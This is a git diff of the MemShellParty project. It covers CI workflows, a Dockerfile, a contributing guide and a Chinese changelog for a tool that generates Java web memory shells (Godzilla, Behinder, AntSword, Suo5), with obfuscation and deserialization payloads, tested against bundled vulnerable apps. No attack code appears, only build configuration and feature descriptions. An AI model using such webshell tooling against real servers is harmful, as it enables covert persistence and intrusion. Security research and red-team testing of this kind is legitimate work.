depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v6
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -14,7 +14,7 @@ jobs:
|
|||||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -35,22 +35,18 @@ jobs:
|
|||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
needs: [ info ]
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -62,20 +58,20 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v7
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
needs: [ info, build-jar ]
|
needs: [ info, build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -84,26 +80,26 @@ jobs:
|
|||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to GitHub Container Registry
|
- name: Login to GitHub Container Registry
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: ghcr.io
|
registry: ghcr.io
|
||||||
username: ${{ github.repository_owner }}
|
username: ${{ github.repository_owner }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -114,41 +110,6 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: .
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
build-args: |
|
|
||||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
|
||||||
CONTEXT_PATH=/redqueen-memshell-party
|
|
||||||
push: true
|
|
||||||
tags: |
|
|
||||||
docker.io/reajason/memshell-party:redqueen
|
|
||||||
|
|
||||||
deploy-maven:
|
|
||||||
name: Deploy to Maven Central
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Publish with Gradle
|
|
||||||
env:
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
|
||||||
run: ./gradlew publishAllToMavenCentral
|
|
||||||
|
|
||||||
create-release:
|
create-release:
|
||||||
name: Create Release
|
name: Create Release
|
||||||
needs: [ info, docker-push ]
|
needs: [ info, docker-push ]
|
||||||
@@ -156,7 +117,7 @@ jobs:
|
|||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -164,13 +125,18 @@ jobs:
|
|||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
|
- name: Calculate SHA-256
|
||||||
|
id: calculate_sha256
|
||||||
|
run: |
|
||||||
|
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||||
|
|
||||||
- name: Release
|
- name: Release
|
||||||
uses: ncipollo/release-action@v1
|
uses: ncipollo/release-action@v1
|
||||||
with:
|
with:
|
||||||
name: ${{ needs.info.outputs.version }}
|
name: ${{ needs.info.outputs.version }}
|
||||||
tag: ${{ needs.info.outputs.version }}
|
tag: ${{ needs.info.outputs.version }}
|
||||||
body: ${{ needs.info.outputs.changelog }}
|
body: ${{ needs.info.outputs.changelog }}
|
||||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
name: Single IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
depend_tasks:
|
|
||||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
|
||||||
required: false
|
|
||||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
|
||||||
type: string
|
|
||||||
test_class:
|
|
||||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
|
||||||
required: true
|
|
||||||
type: string
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
integration-test:
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
|
||||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
name: Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
|
|
||||||
|
integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
middleware:
|
||||||
|
- tomcat
|
||||||
|
- jetty
|
||||||
|
- jbossas
|
||||||
|
- jbosseap
|
||||||
|
- wildfly
|
||||||
|
- glassfish
|
||||||
|
- resin
|
||||||
|
- payara
|
||||||
|
- websphere
|
||||||
|
- websphere7
|
||||||
|
- springmvc
|
||||||
|
- weblogic
|
||||||
|
- springwebflux
|
||||||
|
- xxljob
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.middleware }}
|
||||||
|
needs: [ unit-test ]
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
name: Unit-Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- 'generator/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
+1
-4
@@ -60,7 +60,4 @@ snippets/
|
|||||||
integration-test/**/apusic
|
integration-test/**/apusic
|
||||||
integration-test/**/bes
|
integration-test/**/bes
|
||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
integration-test/**/primeton
|
|
||||||
vul/vul-springboot3-bes
|
|
||||||
vul/vul-springboot3-tongweb
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[submodule "libs"]
|
|
||||||
path = libs
|
|
||||||
url = https://github.com/ReaJason/javaweb-sources.git
|
|
||||||
+157
@@ -0,0 +1,157 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
||||||
|
|
||||||
|
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持自定义内存马生成(#49)by @ReaJason
|
||||||
|
- 支持命令回显 ASM Agent 内存马(#51)by @ReaJason
|
||||||
|
- 支持简易的代码混淆(#13)by @ReaJason
|
||||||
|
- 支持自动发布 DEV 分支代码 CD
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Jetty 获取 Context 代码
|
||||||
|
- 优化 Dockerfile 减小镜像体积
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
||||||
|
|
||||||
|
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
||||||
|
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Valve 内存马代码
|
||||||
|
- 升级 Gradle 8.13
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
||||||
|
|
||||||
|
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
||||||
|
- 支持 Tomcat Jakarta WebSocket
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复自定义注入器类名不起作用
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
||||||
|
|
||||||
|
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Tomcat WebSocket 注入报错,无法工作
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
||||||
|
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
||||||
|
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
||||||
|
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
||||||
|
|
||||||
|
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- UI 中打包配置中添加 Loading 状态
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
||||||
|
|
||||||
|
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 移除无用依赖,JavaSocket,Gson
|
||||||
|
- Gradle 升级至 8.12.1
|
||||||
|
- 更新 TestContainers 和 Junit 的版本
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
||||||
|
|
||||||
|
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
||||||
|
|
||||||
|
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 AntSword 内存马生成 by @ReaJason
|
||||||
|
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
||||||
|
- 部分 UI 调整
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复随机类名如果为保留字时会无法加载
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
||||||
|
|
||||||
|
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Suo5 内存马生成 by @ReaJason
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 升级 TailWind CSS v4
|
||||||
|
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 sonner 颜色主题未随着修改而变化
|
||||||
|
- 修复 IDEA 本地构建 version 一直是 unspecified
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
||||||
|
|
||||||
|
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
||||||
|
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
||||||
|
- 支持哥斯拉、冰蝎、命令执行功能
|
||||||
|
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
||||||
+12
-23
@@ -1,27 +1,19 @@
|
|||||||
## Contribute
|
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
|
||||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
|
||||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
|
||||||
|
|
||||||
### 目录结构
|
### 目录结构
|
||||||
|
|
||||||
|
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
||||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||||
- memshell-party-common:bytebuddy/asm 等工具类存放
|
- common:bytebuddy 等工具类存放
|
||||||
- generator:内存马生成核心
|
- generator:内存马生成核心
|
||||||
- packer:常见漏洞 payload 生成
|
- deserialize:反序列化相关 gadget
|
||||||
- integration-test:集成测试用例
|
- integration-test:集成测试用例
|
||||||
- memshell:内存功能类以及注入器
|
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
||||||
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
||||||
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
- tools/behinder:冰蝎简易连接器
|
||||||
|
- tools/godzilla:哥斯拉简易连接器
|
||||||
|
- tools/suo5:Suo5 简易连接器
|
||||||
- web:使用 react 开发的 Web UI
|
- web:使用 react 开发的 Web UI
|
||||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||||
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
|
||||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||||
- vul/springboot*: springboot 相关靶场
|
- vul/springboot*: springboot 相关靶场
|
||||||
|
|
||||||
@@ -36,15 +28,12 @@
|
|||||||
# 运行集成测试用例,谨慎运行,用例太多了
|
# 运行集成测试用例,谨慎运行,用例太多了
|
||||||
./gradlew :integration-test:test --info
|
./gradlew :integration-test:test --info
|
||||||
|
|
||||||
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
# 仅运行 tomcat 下的集成测试用例
|
||||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
|
||||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||||
|
# 仅运行 jetty 下的集成测试用例
|
||||||
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
|
||||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
|
||||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||||
|
|
||||||
# 构建靶场 war 包
|
# 构建 war 包
|
||||||
./gradlew :vul:vul-webapp:war
|
./gradlew :vul:vul-webapp:war
|
||||||
./gradlew :vul:vul-webapp-jakarta:war
|
./gradlew :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :vul:vul-webapp-expression:war
|
./gradlew :vul:vul-webapp-expression:war
|
||||||
@@ -68,7 +57,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
|||||||
|
|
||||||
### Contribute Code
|
### Contribute Code
|
||||||
|
|
||||||
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||||
|
|
||||||
1. fork 当前项目
|
1. fork 当前项目
|
||||||
2. git clone 自己 fork 后的项目
|
2. git clone 自己 fork 后的项目
|
||||||
|
|||||||
+15
-12
@@ -1,23 +1,24 @@
|
|||||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
FROM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
|
ARG VERSION="1.0.0"
|
||||||
|
ENV VERSION=${VERSION}
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
FROM oven/bun:1.2.2 AS frontend
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH=""
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
|
|
||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
||||||
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
